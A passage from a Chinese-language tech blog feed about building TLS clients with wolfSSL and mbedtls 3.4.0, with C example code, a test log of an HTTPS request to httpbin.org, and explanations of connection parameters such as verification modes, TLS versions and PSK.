</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls connect failed</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">ret</span> <span class="o">=</span> <span class="nf">qtf_tls_send</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls send success</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls send failed</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">qtf_tls_close</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">ret</span> <span class="o">=</span> <span class="nf">qtf_tls_recv</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">,</span> <span class="n">recv_buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">recv_buf</span><span class="p">),</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls recv success</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;recv:%s</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">recv_buf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls recv failed</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">qtf_tls_close</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">qtf_tls_close</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>测试日志：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tls.c:457 qtf_tls_connect<span class="o">]</span> Connecting to httpbin.org:443...
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:95 qtf_tcp_connect<span class="o">]</span> connect to httpbin.org:443 success fd:744
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:176 qtf_tcp_send<span class="o">]</span> send <span class="m">242</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">5</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">86</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">5</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">4953</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">5</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">333</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">5</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">4</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:176 qtf_tcp_send<span class="o">]</span> send <span class="m">126</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">5</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">1</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">5</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">40</span> bytes
</span></span><span class="line"><span class="cl">tls connect success
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:176 qtf_tcp_send<span class="o">]</span> send <span class="m">92</span> bytes
</span></span><span class="line"><span class="cl">tls send success
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">5</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">468</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">5</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:267 qtf_tcp_recv<span class="o">]</span> recv <span class="m">26</span> bytes
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tls.c:651 qtf_tls_recv<span class="o">]</span> wolfSSL_read failed 0x0001
</span></span><span class="line"><span class="cl">tls recv success
</span></span><span class="line"><span class="cl">recv:HTTP/1.1 <span class="m">200</span> OK
</span></span><span class="line"><span class="cl">Date: Sun, <span class="m">09</span> Jul <span class="m">2023</span> 06:51:29 GMT
</span></span><span class="line"><span class="cl">Content-Type: application/json
</span></span><span class="line"><span class="cl">Content-Length: <span class="m">219</span>
</span></span><span class="line"><span class="cl">Connection: close
</span></span><span class="line"><span class="cl">Server: gunicorn/19.9.0
</span></span><span class="line"><span class="cl">Access-Control-Allow-Origin: *
</span></span><span class="line"><span class="cl">Access-Control-Allow-Credentials: <span class="nb">true</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;args&#34;</span>: <span class="o">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;a&#34;</span>: <span class="s2">&#34;1&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>,
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;headers&#34;</span>: <span class="o">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Host&#34;</span>: <span class="s2">&#34;httpbin.org&#34;</span>,
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;X-Amzn-Trace-Id&#34;</span>: <span class="s2">&#34;Root=1-64aa58f1-17ce1f42274e9e4e44d6ea95&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>,
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;origin&#34;</span>: <span class="s2">&#34;223.73.211.53&#34;</span>,
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;url&#34;</span>: <span class="s2">&#34;https://httpbin.org/get?a=1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>qt_idf_tcp.c:176 qtf_tcp_send<span class="o">]</span> send <span class="m">31</span> bytes
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="参考资料">参考资料</h2>
<ul>
<li><a href="https://github.com/wolfSSL/wolfssl">https://github.com/wolfSSL/wolfssl</a></li>
<li><a href="https://github.com/wolfSSL/wolfssl-examples/tree/master/tls">https://github.com/wolfSSL/wolfssl-examples/tree/master/tls</a></li>
<li><a href="https://hacperme.com/posts/series/cryptography/20230702_mbedtls_tls_notes/">https://hacperme.com/posts/series/cryptography/20230702_mbedtls_tls_notes/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>mbedtls tls 客户端应用详解</title>
      <link>https://hacperme.com/posts/series/cryptography/20230702_mbedtls_tls_notes/</link>
      <pubDate>Sun, 02 Jul 2023 17:52:56 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/cryptography/20230702_mbedtls_tls_notes/</guid>
      <description>介绍如何使用 mbedtls 建立 tls client 连接，以及常见连接参数配置和含义</description>
      <content:encoded><![CDATA[<p>介绍 mbedtls 的 tls client 的使用方法，常见的功能参数配置和含义。
当前使用的 mbedtls 版本是： mbedtls-3.4.0。</p>
<h2 id="功能参数配置">功能参数配置</h2>
<p>需要配置的功能选项</p>
<ul>
<li>设置 tls 协议版本: 配置 tls 1.2, tls 1.3, 还是二者都支持。</li>
<li>认证方式设置：单向认证、双向认证、还是 psk。</li>
<li>握手时的校验等级设置：不校验证书合法性，仅加密；校验，但如果失败也继续执行后面的握手流程；校验不通过则终止握手流程。</li>
<li>服务器ca证书设置</li>
<li>客户端证书和密钥设置</li>
<li>预定义共享密钥设置</li>
</ul>
<h2 id="编译配置">编译配置</h2>
<p>使用 mbedtls_config.h 配置文件，tls 1.2 默认打开，不需要修改，但 tls 1.3 未开启，需要特别设置。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">//mbedtls_config.h 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#define MBEDTLS_SSL_PROTO_TLS1_3
</span></span></span><span class="line"><span class="cl"><span class="cp">#define MBEDTLS_SSL_TLS1_3_COMPATIBILITY_MODE
</span></span></span><span class="line"><span class="cl"><span class="cp">#define MBEDTLS_USE_PSA_CRYPTO
</span></span></span><span class="line"><span class="cl"><span class="cp">#define MBEDTLS_PSA_CRYPTO_CONFIG
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>解决 mps_common.h 中的编译问题，替换 MBEDTLS_MPS_STORED_SIZE_MAX 和 MBEDTLS_MPS_SIZE_MAX 宏定义。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">//mps_common.h
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#define MBEDTLS_MPS_STORED_SIZE_MAX  (SIZE_MAX)
</span></span></span><span class="line"><span class="cl"><span class="cp">#define MBEDTLS_MPS_SIZE_MAX  (SIZE_MAX)
</span></span></span></code></pre></td></tr></table>
</div>
</div><h2 id="api-设计和实现">API 设计和实现</h2>
<p>接口处理的事情，主要是连接参数配置、打开和关闭连接，接收和发送数据。</p>
<p>数据结构定义：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">enum</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_AUTH_MODE_CERT</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="c1">// 校验证书
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_AUTH_MODE_PSK</span><span class="p">,</span> <span class="c1">// 预定义共享密钥
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_AUTH_MODE_MAX</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="kt">qtf_tls_auth_mode_t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">enum</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_VERSION_TLS1_2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span>     <span class="c1">// TLS v1.2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_VERSION_TLS1_3</span><span class="p">,</span>         <span class="c1">// TLS v1.3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_VERSION_TLS1_2_1_3</span><span class="p">,</span>     <span class="c1">// TLS v1.2 and TLS v1.3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_VERSION_MAX</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="kt">qtf_tls_version_t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">enum</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_VERIFY_MODE_NONE</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="c1">// 不校验证书是否合法
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_VERIFY_MODE_OPTIONAL</span><span class="p">,</span> <span class="c1">// 证书校验失败，继续执行握手
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_VERIFY_MODE_REQUIRED</span><span class="p">,</span> <span class="c1">// 证书校验失败终止握手，推荐配置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_VERIFY_MODE_MAX</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="kt">qtf_tls_verify_mode_t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">enum</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_DEBUG_LEVEL_NONE</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_DEBUG_LEVEL_ERROR</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_DEBUG_LEVEL_STATE</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_DEBUG_LEVEL_INFO</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_DEBUG_LEVEL_VERBOSE</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="kt">qtf_tls_debug_level_t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// tls 报文分片大小设置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typedef</span> <span class="k">enum</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_MAX_FRAG_LEN_NO_USE</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="c1">// 不设置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_MAX_FRAG_LEN_512</span><span class="p">,</span> <span class="c1">// 设置 tls 报文分片大小 512 字节
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">QTF_TLS_MAX_FRAG_LEN_1024</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_MAX_FRAG_LEN_2048</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">QTF_TLS_MAX_FRAG_LEN_4096</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="kt">qtf_tls_max_frag_len_t</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_auth_mode_t</span> <span class="n">auth_mode</span><span class="p">;</span> <span class="c1">// 认证方式
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">qtf_tls_verify_mode_t</span> <span class="n">verify_mode</span><span class="p">;</span> <span class="c1">// 握手校验等级
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">qtf_tls_version_t</span> <span class="n">tls_version</span><span class="p">;</span> <span class="c1">// tls 协议版本设置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">qtf_tls_debug_level_t</span> <span class="n">debug_level</span><span class="p">;</span> <span class="c1">// 调试日志等级设置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">qtf_tls_max_frag_len_t</span> <span class="n">max_frag_len</span><span class="p">;</span> <span class="c1">// 报文分片大小设置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">uint32_t</span> <span class="n">hanshake_timeout_ms</span><span class="p">;</span> <span class="c1">// 握手超时时间设置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ca_cert</span><span class="p">;</span> 	<span class="c1">// 服务器ca 证书
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">uint32_t</span> <span class="n">ca_cert_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">client_cert</span><span class="p">;</span> <span class="c1">// 客户端证书
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">uint32_t</span> <span class="n">client_cert_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">client_key</span><span class="p">;</span> <span class="c1">// 客户端密钥
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">uint32_t</span> <span class="n">client_key_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">client_key_passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">client_key_passwd_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">psk</span><span class="p">;</span> <span class="c1">// 预定义共享密钥
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">uint32_t</span> <span class="n">psk_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">psk_id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="kt">qtf_tls_conn_param_t</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>连接参数配置说明：</p>
<ul>
<li>
<p>auth_mode：认证方式设置。</p>
<p>一是通过证书认证，另一个是通过预定义密钥 PSK。</p>
</li>
<li>
<p>verify_mode：握手的校验等级。</p>
<p>推荐配置为 QTF_TLS_VERIFY_MODE_REQUIRED。如果只是想加密而不校验，可以配置 QTF_TLS_VERIFY_MODE_NONE 或 QTF_TLS_VERIFY_MODE_OPTIONAL。</p>
</li>
<li>
<p>tls_version：tls 协议版本。</p>
<p>推荐配置成 tls 1.2 或 tls 1.3，tls 1.2 以下的版本不安全，tls 1.3 版本 mbedtls 没有完整支持。</p>
</li>
<li>
<p>debug_level：日志等级。</p>
<p>推荐设置 QTF_TLS_DEBUG_LEVEL_NONE 关闭日志输出。排查问题时可以将日志打开 QTF_TLS_DEBUG_LEVEL_VERBOSE（注意会打印密钥和收发数据的明文内容）。</p>
</li>
<li>
<p>max_frag_len： 数据分片大小设置。</p>
<p>在客户端侧设置，用于协商数据分片大小，设置这个参数应该是出于对使用内存大小和带宽的考虑。</p>
<p>设置太小，可能会出现服务器证书接收不完整导致握手失败问题，但最大值也不能设置超过接收缓冲区的大小。</p>
</li>
<li>
<p>hanshake_timeout_ms：握手超时时间。</p>
</li>
<li>
<p>ca_cert：服务器的 ca 证书。</p>
<p>如果要求校验证书，则必须设置。客户端校验服务器是否合法，单向认证。</p>
</li>
<li>
<p>client_cert：客户端证书。</p>
<p>要求双向认证的时候必须设置，用于服务器校验客户端是否合法。同时还要设置 client_key。</p>
</li>
<li>
<p>psk ：预定义共享密钥。</p>
<p>psk 不需要证书认证，减少握手数据交互流程，但需要指定 psk_id 身份标识和指定加密套件。</p>
</li>
</ul>
<p>接口定义：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span><span class="nf">qtf_tls_connect</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">host</span><span class="p">,</span> <span class="kt">uint16_t</span> <span class="n">port</span><span class="p">,</span> <span class="kt">qtf_tls_conn_param_t</span> <span class="o">*</span><span class="n">param</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_send</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">timeout_ms</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_recv</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">timeout_ms</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_close</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>接口实现:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
